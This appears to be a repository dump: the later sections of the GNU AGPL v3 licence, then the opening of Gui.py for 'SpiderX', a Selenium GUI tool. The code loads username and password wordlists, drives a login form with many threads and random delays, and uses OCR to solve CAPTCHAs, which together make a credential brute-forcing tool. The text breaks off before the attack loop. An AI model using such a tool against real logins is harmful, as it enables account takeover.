87 | To "convey" a work means any kind of propagation that enables other 88 | parties to make or receive copies. Mere interaction with a user through 89 | a computer network, with no transfer of a copy, is not conveying. 90 | 91 | An interactive user interface displays "Appropriate Legal Notices" 92 | to the extent that it includes a convenient and prominently visible 93 | feature that (1) displays an appropriate copyright notice, and (2) 94 | tells the user that there is no warranty for the work (except to the 95 | extent that warranties are provided), that licensees may convey the 96 | work under this License, and how to view a copy of this License. If 97 | the interface presents a list of user commands or options, such as a 98 | menu, a prominent item in the list meets this criterion. 99 | 100 | 1. Source Code. 101 | 102 | The "source code" for a work means the preferred form of the work 103 | for making modifications to it. "Object code" means any non-source 104 | form of a work. 105 | 106 | A "Standard Interface" means an interface that either is an official 107 | standard defined by a recognized standards body, or, in the case of 108 | interfaces specified for a particular programming language, one that 109 | is widely used among developers working in that language. 110 | 111 | The "System Libraries" of an executable work include anything, other 112 | than the work as a whole, that (a) is included in the normal form of 113 | packaging a Major Component, but which is not part of that Major 114 | Component, and (b) serves only to enable use of the work with that 115 | Major Component, or to implement a Standard Interface for which an 116 | implementation is available to the public in source code form. A 117 | "Major Component", in this context, means a major essential component 118 | (kernel, window system, and so on) of the specific operating system 119 | (if any) on which the executable work runs, or a compiler used to 120 | produce the work, or an object code interpreter used to run it. 121 | 122 | The "Corresponding Source" for a work in object code form means all 123 | the source code needed to generate, install, and (for an executable 124 | work) run the object code and to modify the work, including scripts to 125 | control those activities. However, it does not include the work's 126 | System Libraries, or general-purpose tools or generally available free 127 | programs which are used unmodified in performing those activities but 128 | which are not part of the work. For example, Corresponding Source 129 | includes interface definition files associated with source files for 130 | the work, and the source code for shared libraries and dynamically 131 | linked subprograms that the work is specifically designed to require, 132 | such as by intimate data communication or control flow between those 133 | subprograms and other parts of the work. 134 | 135 | The Corresponding Source need not include anything that users 136 | can regenerate automatically from other parts of the Corresponding 137 | Source. 138 | 139 | The Corresponding Source for a work in source code form is that 140 | same work. 141 | 142 | 2. Basic Permissions. 143 | 144 | All rights granted under this License are granted for the term of 145 | copyright on the Program, and are irrevocable provided the stated 146 | conditions are met. This License explicitly affirms your unlimited 147 | permission to run the unmodified Program. The output from running a 148 | covered work is covered by this License only if the output, given its 149 | content, constitutes a covered work. This License acknowledges your 150 | rights of fair use or other equivalent, as provided by copyright law. 151 | 152 | You may make, run and propagate covered works that you do not 153 | convey, without conditions so long as your license otherwise remains 154 | in force. You may convey covered works to others for the sole purpose 155 | of having them make modifications exclusively for you, or provide you 156 | with facilities for running those works, provided that you comply with 157 | the terms of this License in conveying all material for which you do 158 | not control copyright. Those thus making or running the covered works 159 | for you must do so exclusively on your behalf, under your direction 160 | and control, on terms that prohibit them from making any copies of 161 | your copyrighted material outside their relationship with you. 162 | 163 | Conveying under any other circumstances is permitted solely under 164 | the conditions stated below. Sublicensing is not allowed; section 10 165 | makes it unnecessary. 166 | 167 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 168 | 169 | No covered work shall be deemed part of an effective technological 170 | measure under any applicable law fulfilling obligations under article 171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 172 | similar laws prohibiting or restricting circumvention of such 173 | measures. 174 | 175 | When you convey a covered work, you waive any legal power to forbid 176 | circumvention of technological measures to the extent such circumvention 177 | is effected by exercising rights under this License with respect to 178 | the covered work, and you disclaim any intention to limit operation or 179 | modification of the work as a means of enforcing, against the work's 180 | users, your or third parties' legal rights to forbid circumvention of 181 | technological measures. 182 | 183 | 4. Conveying Verbatim Copies. 184 | 185 | You may convey verbatim copies of the Program's source code as you 186 | receive it, in any medium, provided that you conspicuously and 187 | appropriately publish on each copy an appropriate copyright notice; 188 | keep intact all notices stating that this License and any 189 | non-permissive terms added in accord with section 7 apply to the code; 190 | keep intact all notices of the absence of any warranty; and give all 191 | recipients a copy of this License along with the Program. 192 | 193 | You may charge any price or no price for each copy that you convey, 194 | and you may offer support or warranty protection for a fee. 195 | 196 | 5. Conveying Modified Source Versions. 197 | 198 | You may convey a work based on the Program, or the modifications to 199 | produce it from the Program, in the form of source code under the 200 | terms of section 4, provided that you also meet all of these conditions: 201 | 202 | a) The work must carry prominent notices stating that you modified 203 | it, and giving a relevant date. 204 | 205 | b) The work must carry prominent notices stating that it is 206 | released under this License and any conditions added under section 207 | 7. This requirement modifies the requirement in section 4 to 208 | "keep intact all notices". 209 | 210 | c) You must license the entire work, as a whole, under this 211 | License to anyone who comes into possession of a copy. This 212 | License will therefore apply, along with any applicable section 7 213 | additional terms, to the whole of the work, and all its parts, 214 | regardless of how they are packaged. This License gives no 215 | permission to license the work in any other way, but it does not 216 | invalidate such permission if you have separately received it. 217 | 218 | d) If the work has interactive user interfaces, each must display 219 | Appropriate Legal Notices; however, if the Program has interactive 220 | interfaces that do not display Appropriate Legal Notices, your 221 | work need not make them do so. 222 | 223 | A compilation of a covered work with other separate and independent 224 | works, which are not by their nature extensions of the covered work, 225 | and which are not combined with it such as to form a larger program, 226 | in or on a volume of a storage or distribution medium, is called an 227 | "aggregate" if the compilation and its resulting copyright are not 228 | used to limit the access or legal rights of the compilation's users 229 | beyond what the individual works permit. Inclusion of a covered work 230 | in an aggregate does not cause this License to apply to the other 231 | parts of the aggregate. 232 | 233 | 6. Conveying Non-Source Forms. 234 | 235 | You may convey a covered work in object code form under the terms 236 | of sections 4 and 5, provided that you also convey the 237 | machine-readable Corresponding Source under the terms of this License, 238 | in one of these ways: 239 | 240 | a) Convey the object code in, or embodied in, a physical product 241 | (including a physical distribution medium), accompanied by the 242 | Corresponding Source fixed on a durable physical medium 243 | customarily used for software interchange. 244 | 245 | b) Convey the object code in, or embodied in, a physical product 246 | (including a physical distribution medium), accompanied by a 247 | written offer, valid for at least three years and valid for as 248 | long as you offer spare parts or customer support for that product 249 | model, to give anyone who possesses the object code either (1) a 250 | copy of the Corresponding Source for all the software in the 251 | product that is covered by this License, on a durable physical 252 | medium customarily used for software interchange, for a price no 253 | more than your reasonable cost of physically performing this 254 | conveying of source, or (2) access to copy the 255 | Corresponding Source from a network server at no charge. 256 | 257 | c) Convey individual copies of the object code with a copy of the 258 | written offer to provide the Corresponding Source. This 259 | alternative is allowed only occasionally and noncommercially, and 260 | only if you received the object code with such an offer, in accord 261 | with subsection 6b. 262 | 263 | d) Convey the object code by offering access from a designated 264 | place (gratis or for a charge), and offer equivalent access to the 265 | Corresponding Source in the same way through the same place at no 266 | further charge. You need not require recipients to copy the 267 | Corresponding Source along with the object code. If the place to 268 | copy the object code is a network server, the Corresponding Source 269 | may be on a different server (operated by you or a third party) 270 | that supports equivalent copying facilities, provided you maintain 271 | clear directions next to the object code saying where to find the 272 | Corresponding Source. Regardless of what server hosts the 273 | Corresponding Source, you remain obligated to ensure that it is 274 | available for as long as needed to satisfy these requirements. 275 | 276 | e) Convey the object code using peer-to-peer transmission, provided 277 | you inform other peers where the object code and Corresponding 278 | Source of the work are being offered to the general public at no 279 | charge under subsection 6d. 280 | 281 | A separable portion of the object code, whose source code is excluded 282 | from the Corresponding Source as a System Library, need not be 283 | included in conveying the object code work. 284 | 285 | A "User Product" is either (1) a "consumer product", which means any 286 | tangible personal property which is normally used for personal, family, 287 | or household purposes, or (2) anything designed or sold for incorporation 288 | into a dwelling. In determining whether a product is a consumer product, 289 | doubtful cases shall be resolved in favor of coverage. For a particular 290 | product received by a particular user, "normally used" refers to a 291 | typical or common use of that class of product, regardless of the status 292 | of the particular user or of the way in which the particular user 293 | actually uses, or expects or is expected to use, the product. A product 294 | is a consumer product regardless of whether the product has substantial 295 | commercial, industrial or non-consumer uses, unless such uses represent 296 | the only significant mode of use of the product. 297 | 298 | "Installation Information" for a User Product means any methods, 299 | procedures, authorization keys, or other information required to install 300 | and execute modified versions of a covered work in that User Product from 301 | a modified version of its Corresponding Source. The information must 302 | suffice to ensure that the continued functioning of the modified object 303 | code is in no case prevented or interfered with solely because 304 | modification has been made. 305 | 306 | If you convey an object code work under this section in, or with, or 307 | specifically for use in, a User Product, and the conveying occurs as 308 | part of a transaction in which the right of possession and use of the 309 | User Product is transferred to the recipient in perpetuity or for a 310 | fixed term (regardless of how the transaction is characterized), the 311 | Corresponding Source conveyed under this section must be accompanied 312 | by the Installation Information. But this requirement does not apply 313 | if neither you nor any third party retains the ability to install 314 | modified object code on the User Product (for example, the work has 315 | been installed in ROM). 316 | 317 | The requirement to provide Installation Information does not include a 318 | requirement to continue to provide support service, warranty, or updates 319 | for a work that has been modified or installed by the recipient, or for 320 | the User Product in which it has been modified or installed. Access to a 321 | network may be denied when the modification itself materially and 322 | adversely affects the operation of the network or violates the rules and 323 | protocols for communication across the network. 324 | 325 | Corresponding Source conveyed, and Installation Information provided, 326 | in accord with this section must be in a format that is publicly 327 | documented (and with an implementation available to the public in 328 | source code form), and must require no special password or key for 329 | unpacking, reading or copying. 330 | 331 | 7. Additional Terms. 332 | 333 | "Additional permissions" are terms that supplement the terms of this 334 | License by making exceptions from one or more of its conditions. 335 | Additional permissions that are applicable to the entire Program shall 336 | be treated as though they were included in this License, to the extent 337 | that they are valid under applicable law. If additional permissions 338 | apply only to part of the Program, that part may be used separately 339 | under those permissions, but the entire Program remains governed by 340 | this License without regard to the additional permissions. 341 | 342 | When you convey a copy of a covered work, you may at your option 343 | remove any additional permissions from that copy, or from any part of 344 | it. (Additional permissions may be written to require their own 345 | removal in certain cases when you modify the work.) You may place 346 | additional permissions on material, added by you to a covered work, 347 | for which you have or can give appropriate copyright permission. 348 | 349 | Notwithstanding any other provision of this License, for material you 350 | add to a covered work, you may (if authorized by the copyright holders of 351 | that material) supplement the terms of this License with terms: 352 | 353 | a) Disclaiming warranty or limiting liability differently from the 354 | terms of sections 15 and 16 of this License; or 355 | 356 | b) Requiring preservation of specified reasonable legal notices or 357 | author attributions in that material or in the Appropriate Legal 358 | Notices displayed by works containing it; or 359 | 360 | c) Prohibiting misrepresentation of the origin of that material, or 361 | requiring that modified versions of such material be marked in 362 | reasonable ways as different from the original version; or 363 | 364 | d) Limiting the use for publicity purposes of names of licensors or 365 | authors of the material; or 366 | 367 | e) Declining to grant rights under trademark law for use of some 368 | trade names, trademarks, or service marks; or 369 | 370 | f) Requiring indemnification of licensors and authors of that 371 | material by anyone who conveys the material (or modified versions of 372 | it) with contractual assumptions of liability to the recipient, for 373 | any liability that these contractual assumptions directly impose on 374 | those licensors and authors. 375 | 376 | All other non-permissive additional terms are considered "further 377 | restrictions" within the meaning of section 10. If the Program as you 378 | received it, or any part of it, contains a notice stating that it is 379 | governed by this License along with a term that is a further 380 | restriction, you may remove that term. If a license document contains 381 | a further restriction but permits relicensing or conveying under this 382 | License, you may add to a covered work material governed by the terms 383 | of that license document, provided that the further restriction does 384 | not survive such relicensing or conveying. 385 | 386 | If you add terms to a covered work in accord with this section, you 387 | must place, in the relevant source files, a statement of the 388 | additional terms that apply to those files, or a notice indicating 389 | where to find the applicable terms. 390 | 391 | Additional terms, permissive or non-permissive, may be stated in the 392 | form of a separately written license, or stated as exceptions; 393 | the above requirements apply either way. 394 | 395 | 8. Termination. 396 | 397 | You may not propagate or modify a covered work except as expressly 398 | provided under this License. Any attempt otherwise to propagate or 399 | modify it is void, and will automatically terminate your rights under 400 | this License (including any patent licenses granted under the third 401 | paragraph of section 11). 402 | 403 | However, if you cease all violation of this License, then your 404 | license from a particular copyright holder is reinstated (a) 405 | provisionally, unless and until the copyright holder explicitly and 406 | finally terminates your license, and (b) permanently, if the copyright 407 | holder fails to notify you of the violation by some reasonable means 408 | prior to 60 days after the cessation. 409 | 410 | Moreover, your license from a particular copyright holder is 411 | reinstated permanently if the copyright holder notifies you of the 412 | violation by some reasonable means, this is the first time you have 413 | received notice of violation of this License (for any work) from that 414 | copyright holder, and you cure the violation prior to 30 days after 415 | your receipt of the notice. 416 | 417 | Termination of your rights under this section does not terminate the 418 | licenses of parties who have received copies or rights from you under 419 | this License. If your rights have been terminated and not permanently 420 | reinstated, you do not qualify to receive new licenses for the same 421 | material under section 10. 422 | 423 | 9. Acceptance Not Required for Having Copies. 424 | 425 | You are not required to accept this License in order to receive or 426 | run a copy of the Program. Ancillary propagation of a covered work 427 | occurring solely as a consequence of using peer-to-peer transmission 428 | to receive a copy likewise does not require acceptance. However, 429 | nothing other than this License grants you permission to propagate or 430 | modify any covered work. These actions infringe copyright if you do 431 | not accept this License. Therefore, by modifying or propagating a 432 | covered work, you indicate your acceptance of this License to do so. 433 | 434 | 10. Automatic Licensing of Downstream Recipients. 435 | 436 | Each time you convey a covered work, the recipient automatically 437 | receives a license from the original licensors, to run, modify and 438 | propagate that work, subject to this License. You are not responsible 439 | for enforcing compliance by third parties with this License. 440 | 441 | An "entity transaction" is a transaction transferring control of an 442 | organization, or substantially all assets of one, or subdividing an 443 | organization, or merging organizations. If propagation of a covered 444 | work results from an entity transaction, each party to that 445 | transaction who receives a copy of the work also receives whatever 446 | licenses to the work the party's predecessor in interest had or could 447 | give under the previous paragraph, plus a right to possession of the 448 | Corresponding Source of the work from the predecessor in interest, if 449 | the predecessor has it or can get it with reasonable efforts. 450 | 451 | You may not impose any further restrictions on the exercise of the 452 | rights granted or affirmed under this License. For example, you may 453 | not impose a license fee, royalty, or other charge for exercise of 454 | rights granted under this License, and you may not initiate litigation 455 | (including a cross-claim or counterclaim in a lawsuit) alleging that 456 | any patent claim is infringed by making, using, selling, offering for 457 | sale, or importing the Program or any portion of it. 458 | 459 | 11. Patents. 460 | 461 | A "contributor" is a copyright holder who authorizes use under this 462 | License of the Program or a work on which the Program is based. The 463 | work thus licensed is called the contributor's "contributor version". 464 | 465 | A contributor's "essential patent claims" are all patent claims 466 | owned or controlled by the contributor, whether already acquired or 467 | hereafter acquired, that would be infringed by some manner, permitted 468 | by this License, of making, using, or selling its contributor version, 469 | but do not include claims that would be infringed only as a 470 | consequence of further modification of the contributor version. For 471 | purposes of this definition, "control" includes the right to grant 472 | patent sublicenses in a manner consistent with the requirements of 473 | this License. 474 | 475 | Each contributor grants you a non-exclusive, worldwide, royalty-free 476 | patent license under the contributor's essential patent claims, to 477 | make, use, sell, offer for sale, import and otherwise run, modify and 478 | propagate the contents of its contributor version. 479 | 480 | In the following three paragraphs, a "patent license" is any express 481 | agreement or commitment, however denominated, not to enforce a patent 482 | (such as an express permission to practice a patent or covenant not to 483 | sue for patent infringement). To "grant" such a patent license to a 484 | party means to make such an agreement or commitment not to enforce a 485 | patent against the party. 486 | 487 | If you convey a covered work, knowingly relying on a patent license, 488 | and the Corresponding Source of the work is not available for anyone 489 | to copy, free of charge and under the terms of this License, through a 490 | publicly available network server or other readily accessible means, 491 | then you must either (1) cause the Corresponding Source to be so 492 | available, or (2) arrange to deprive yourself of the benefit of the 493 | patent license for this particular work, or (3) arrange, in a manner 494 | consistent with the requirements of this License, to extend the patent 495 | license to downstream recipients. "Knowingly relying" means you have 496 | actual knowledge that, but for the patent license, your conveying the 497 | covered work in a country, or your recipient's use of the covered work 498 | in a country, would infringe one or more identifiable patents in that 499 | country that you have reason to believe are valid. 500 | 501 | If, pursuant to or in connection with a single transaction or 502 | arrangement, you convey, or propagate by procuring conveyance of, a 503 | covered work, and grant a patent license to some of the parties 504 | receiving the covered work authorizing them to use, propagate, modify 505 | or convey a specific copy of the covered work, then the patent license 506 | you grant is automatically extended to all recipients of the covered 507 | work and works based on it. 508 | 509 | A patent license is "discriminatory" if it does not include within 510 | the scope of its coverage, prohibits the exercise of, or is 511 | conditioned on the non-exercise of one or more of the rights that are 512 | specifically granted under this License. You may not convey a covered 513 | work if you are a party to an arrangement with a third party that is 514 | in the business of distributing software, under which you make payment 515 | to the third party based on the extent of your activity of conveying 516 | the work, and under which the third party grants, to any of the 517 | parties who would receive the covered work from you, a discriminatory 518 | patent license (a) in connection with copies of the covered work 519 | conveyed by you (or copies made from those copies), or (b) primarily 520 | for and in connection with specific products or compilations that 521 | contain the covered work, unless you entered into that arrangement, 522 | or that patent license was granted, prior to 28 March 2007. 523 | 524 | Nothing in this License shall be construed as excluding or limiting 525 | any implied license or other defenses to infringement that may 526 | otherwise be available to you under applicable patent law. 527 | 528 | 12. No Surrender of Others' Freedom. 529 | 530 | If conditions are imposed on you (whether by court order, agreement or 531 | otherwise) that contradict the conditions of this License, they do not 532 | excuse you from the conditions of this License. If you cannot convey a 533 | covered work so as to satisfy simultaneously your obligations under this 534 | License and any other pertinent obligations, then as a consequence you may 535 | not convey it at all. For example, if you agree to terms that obligate you 536 | to collect a royalty for further conveying from those to whom you convey 537 | the Program, the only way you could satisfy both those terms and this 538 | License would be to refrain entirely from conveying the Program. 539 | 540 | 13. Remote Network Interaction; Use with the GNU General Public License. 541 | 542 | Notwithstanding any other provision of this License, if you modify the 543 | Program, your modified version must prominently offer all users 544 | interacting with it remotely through a computer network (if your version 545 | supports such interaction) an opportunity to receive the Corresponding 546 | Source of your version by providing access to the Corresponding Source 547 | from a network server at no charge, through some standard or customary 548 | means of facilitating copying of software. This Corresponding Source 549 | shall include the Corresponding Source for any work covered by version 3 550 | of the GNU General Public License that is incorporated pursuant to the 551 | following paragraph. 552 | 553 | Notwithstanding any other provision of this License, you have 554 | permission to link or combine any covered work with a work licensed 555 | under version 3 of the GNU General Public License into a single 556 | combined work, and to convey the resulting work. The terms of this 557 | License will continue to apply to the part which is the covered work, 558 | but the work with which it is combined will remain governed by version 559 | 3 of the GNU General Public License. 560 | 561 | 14. Revised Versions of this License. 562 | 563 | The Free Software Foundation may publish revised and/or new versions of 564 | the GNU Affero General Public License from time to time. Such new versions 565 | will be similar in spirit to the present version, but may differ in detail to 566 | address new problems or concerns. 567 | 568 | Each version is given a distinguishing version number. If the 569 | Program specifies that a certain numbered version of the GNU Affero General 570 | Public License "or any later version" applies to it, you have the 571 | option of following the terms and conditions either of that numbered 572 | version or of any later version published by the Free Software 573 | Foundation. If the Program does not specify a version number of the 574 | GNU Affero General Public License, you may choose any version ever published 575 | by the Free Software Foundation. 576 | 577 | If the Program specifies that a proxy can decide which future 578 | versions of the GNU Affero General Public License can be used, that proxy's 579 | public statement of acceptance of a version permanently authorizes you 580 | to choose that version for the Program. 581 | 582 | Later license versions may give you additional or different 583 | permissions. However, no additional obligations are imposed on any 584 | author or copyright holder as a result of your choosing to follow a 585 | later version. 586 | 587 | 15. Disclaimer of Warranty. 588 | 589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 597 | 598 | 16. Limitation of Liability. 599 | 600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 608 | SUCH DAMAGES. 609 | 610 | 17. Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these terms. 626 | 627 | To do so, attach the following notices to the program. It is safest 628 | to attach them to the start of each source file to most effectively 629 | state the exclusion of warranty; and each file should have at least 630 | the "copyright" line and a pointer to where the full notice is found. 631 | 632 | 633 | Copyright (C) 634 | 635 | This program is free software: you can redistribute it and/or modify 636 | it under the terms of the GNU Affero General Public License as published 637 | by the Free Software Foundation, either version 3 of the License, or 638 | (at your option) any later version. 639 | 640 | This program is distributed in the hope that it will be useful, 641 | but WITHOUT ANY WARRANTY; without even the implied warranty of 642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 643 | GNU Affero General Public License for more details. 644 | 645 | You should have received a copy of the GNU Affero General Public License 646 | along with this program. If not, see . 647 | 648 | Also add information on how to contact you by electronic and paper mail. 649 | 650 | If your software can interact with users remotely through a computer 651 | network, you should also make sure that it provides a way for users to 652 | get its source. For example, if your program is a web application, its 653 | interface could display a "Source" link that leads users to an archive 654 | of the code. There are many ways you could offer source, and different 655 | solutions will be better for different programs; see section 13 for the 656 | specific requirements. 657 | 658 | You should also get your employer (if you work as a programmer) or school, 659 | if any, to sign a "copyright disclaimer" for the program, if necessary. 660 | For more information on this, and how to apply and follow the GNU AGPL, see 661 | . 662 | -------------------------------------------------------------------------------- /Gui.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | @Toolsname: SpiderX 4 | @Author : LiChaser 5 | @Time : 2025-01-30 6 | @Version : 2.0 7 | @Description: 8 | - 这是一个基于 Selenium 的自动化脚本。 9 | - 功能包括:登录、验证码识别、数据抓取等。 10 | - 使用了 ddddocr 进行验证码识别。 11 | """ 12 | import concurrent.futures 13 | import logging 14 | import os 15 | import threading 16 | import tkinter as tk 17 | import time 18 | import sys 19 | import customtkinter as ctk 20 | from selenium import webdriver 21 | from selenium.common import NoSuchElementException, TimeoutException, WebDriverException 22 | from selenium.webdriver.common.by import By 23 | from selenium.webdriver.support.wait import WebDriverWait 24 | from selenium.webdriver.support import expected_conditions as EC 25 | import ddddocr 26 | import requests 27 | import base64 28 | from io import BytesIO 29 | from PIL import Image 30 | import random 31 | 32 | # 配置界面主题和图标 33 | ctk.set_appearance_mode("Dark") 34 | ctk.set_default_color_theme("blue") 35 | 36 | # 在文件开头添加计数器类 37 | class ThreadSafeCounter: 38 | def __init__(self): 39 | self._value = 0 40 | self._lock = threading.Lock() 41 | 42 | def increment(self): 43 | with self._lock: 44 | self._value += 1 45 | return self._value 46 | 47 | def get_value(self): 48 | with self._lock: 49 | return self._value 50 | 51 | def reset(self): 52 | with self._lock: 53 | self._value = 0 54 | 55 | # 修改全局变量声明 56 | numbers = ThreadSafeCounter() 57 | PWD = '' 58 | USER = '' 59 | usernames = [] 60 | passwords = [] 61 | 62 | # 在 DEFAULT_CONFIG 中添加验证码相关配置 63 | DEFAULT_CONFIG = { 64 | "url": "http://127.0.0.1:5000/", 65 | "name_xpath": '//*[@id="username"]', 66 | "pass_xpath": '//*[@id="password"]', 67 | "btn_xpath": '/html/body/form/div[4]/button', 68 | "success_xpath": '//*[contains(text(),"欢迎")]', # 新增成功检测元素 69 | "user_file": "username.txt", 70 | "pass_file": "password.txt", 71 | "threads": 10, # 根据CPU核心数优化 72 | "headless": True, 73 | "timeout": 5, # 延长超时时间 74 | "max_retries": 3, # 最大重试次数 75 | "min_delay": 0.5, # 最小延迟(秒) 76 | "max_delay": 1.5, # 最大延迟(秒) 77 | "captcha_xpath": '/html/body/form/div[3]/img', # 验证码图片元素 78 | "captcha_input_xpath": '//*[@id="captcha"]', # 验证码输入框 79 | "captcha_refresh_xpath": '/html/body/form/div[3]/img', # 验证码刷新按钮(如果有) 80 | "has_captcha": True, # 是否启用验证码识别 81 | "captcha_retry_limit": 3, # 验证码识别重试次数 82 | "captcha_timeout": 1, # 验证码加载超时时间 83 | } 84 | 85 | class CaptchaHandler: 86 | def __init__(self): 87 | self.ocr = ddddocr.DdddOcr(show_ad=False) 88 | self.retry_count = 0 89 | self.last_captcha = None 90 | self._lock = threading.Lock() 91 | 92 | def recognize_captcha(self, image_data): 93 | """识别验证码""" 94 | with self._lock: 95 | try: 96 | # 确保图片数据是字节格式 97 | if isinstance(image_data, str): 98 | if image_data.startswith('data:image'): 99 | image_data = base64.b64decode(image_data.split(',')[1]) 100 | else: 101 | # 假设是base64字符串 102 | try: 103 | image_data = base64.b64decode(image_data) 104 | except: 105 | raise Exception("Invalid image data format") 106 | 107 | # 使用PIL处理图片 108 | image = Image.open(BytesIO(image_data)) 109 | 110 | # 转换为RGB模式(如果需要) 111 | if image.mode != 'RGB': 112 | image = image.convert('RGB') 113 | 114 | # 调整图片大小(如果需要) 115 | # image = image.resize((100, 30), Image.LANCZOS) 116 | 117 | # 转回字节流 118 | buffered = BytesIO() 119 | image.save(buffered, format="PNG") 120 | image_bytes = buffered.getvalue() 121 | 122 | # 识别验证码 123 | result = self.ocr.classification(image_bytes) 124 | 125 | # 清理结果 126 | result = result.strip() 127 | if not result: 128 | raise Exception("OCR result is empty") 129 | 130 | self.last_captcha = result 131 | return result 132 | except Exception as e: 133 | logging.error(f"验证码识别失败: {str(e)}") 134 | return None 135 | 136 | def verify_captcha(self, driver, captcha_code): 137 | """验证验证码是否正确""" 138 | try: 139 | # 这里添加验证码验证逻辑 140 | # 可以根据实际情况判断验证码是否正确 141 | return True 142 | except Exception as e: 143 | logging.error(f"验证码验证失败: {str(e)}") 144 | return False 145 | 146 | class LoginGUI(ctk.CTk): 147 | def __init__(self): 148 | try: 149 | super().__init__() 150 | self.title("Licharsec - SpiderX Pro v2.0") 151 | self.geometry("1200x800") 152 | self._create_widgets() 153 | self._load_default_files() 154 | self.running = False 155 | self.executor = None 156 | self.captcha_handler = CaptchaHandler() 157 | 158 | # 添加全局异常处理 159 | self.protocol("WM_DELETE_WINDOW", self.on_closing) 160 | 161 | # 添加错误统计计数器 162 | self.error_counter = { 163 | 'network_errors': 0, # 网络错误 164 | 'xpath_errors': 0, # 元素定位错误 165 | 'captcha_errors': 0, # 验证码错误 166 | 'browser_errors': 0, # 浏览器错误 167 | 'other_errors': 0 # 其他错误 168 | } 169 | 170 | # 添加日志记录器 171 | self.setup_logger() 172 | 173 | except Exception as e: 174 | self.show_error_dialog( 175 | "❌ 程序错误", 176 | "程序初始化失败", 177 | f"错误信息:{str(e)}" 178 | ) 179 | sys.exit(1) 180 | 181 | def _create_widgets(self): 182 | # 主界面布局配置 183 | self.grid_rowconfigure(0, weight=1) 184 | self.grid_columnconfigure(1, weight=1) 185 | 186 | # ========== 左侧配置面板 ========== 187 | self.config_frame = ctk.CTkFrame(self, width=320, corner_radius=10) 188 | self.config_frame.grid(row=0, column=0, padx=10, pady=10, sticky="nswe") 189 | self.config_frame.grid_propagate(False) 190 | self.config_frame.grid_columnconfigure(0, weight=1) 191 | 192 | # 配置项控件初始化 193 | self.url_entry = ctk.CTkEntry(self.config_frame) 194 | self.name_xpath_entry = ctk.CTkEntry(self.config_frame) 195 | self.pass_xpath_entry = ctk.CTkEntry(self.config_frame) 196 | self.btn_xpath_entry = ctk.CTkEntry(self.config_frame) 197 | 198 | # 动态创建配置项 199 | config_items = [ 200 | ("目标URL:", self.url_entry, DEFAULT_CONFIG["url"]), 201 | ("用户名XPath:", self.name_xpath_entry, DEFAULT_CONFIG["name_xpath"]), 202 | ("密码XPath:", self.pass_xpath_entry, DEFAULT_CONFIG["pass_xpath"]), 203 | ("按钮XPath:", self.btn_xpath_entry, DEFAULT_CONFIG["btn_xpath"]) 204 | ] 205 | 206 | current_row = 0 207 | for label_text, entry_widget, default_value in config_items: 208 | ctk.CTkLabel( 209 | self.config_frame, 210 | text=label_text, 211 | font=("Helvetica", 23), 212 | anchor="w" 213 | ).grid(row=current_row, column=0, padx=10, pady=(10, 0), sticky="we") 214 | 215 | entry_widget.delete(0, "end") 216 | entry_widget.insert(0, default_value) 217 | entry_widget.grid(row=current_row + 1, column=0, padx=10, pady=(0, 10), sticky="we") 218 | 219 | current_row += 2 220 | 221 | # 修改验证码配置区域 222 | self.captcha_frame = ctk.CTkFrame(self.config_frame) 223 | self.captcha_frame.grid(row=current_row, column=0, pady=10, padx=10, sticky="we") 224 | self.captcha_frame.grid_columnconfigure(0, weight=1) 225 | 226 | # 验证码标题 227 | ctk.CTkLabel( 228 | self.captcha_frame, 229 | text="验证码配置", 230 | font=("Helvetica", 23), 231 | anchor="w" 232 | ).grid(row=0, column=0, padx=10, pady=(10, 0), sticky="w") 233 | 234 | # 验证码选项子框架 235 | captcha_options = ctk.CTkFrame(self.captcha_frame, fg_color="transparent") 236 | captcha_options.grid(row=1, column=0, padx=10, pady=10, sticky="we") 237 | captcha_options.grid_columnconfigure(0, weight=1) 238 | 239 | # 启用验证码复选框 240 | self.captcha_enabled = ctk.CTkCheckBox( 241 | captcha_options, 242 | text="启用验证码识别", 243 | command=self.toggle_captcha, 244 | variable=ctk.BooleanVar(value=DEFAULT_CONFIG["has_captcha"]), 245 | font=("Helvetica", 16) 246 | ) 247 | self.captcha_enabled.grid(row=0, column=0, padx=5, pady=5, sticky="w") 248 | 249 | # 验证码XPath输入框 250 | ctk.CTkLabel( 251 | captcha_options, 252 | text="验证码图片XPath:", 253 | font=("Helvetica", 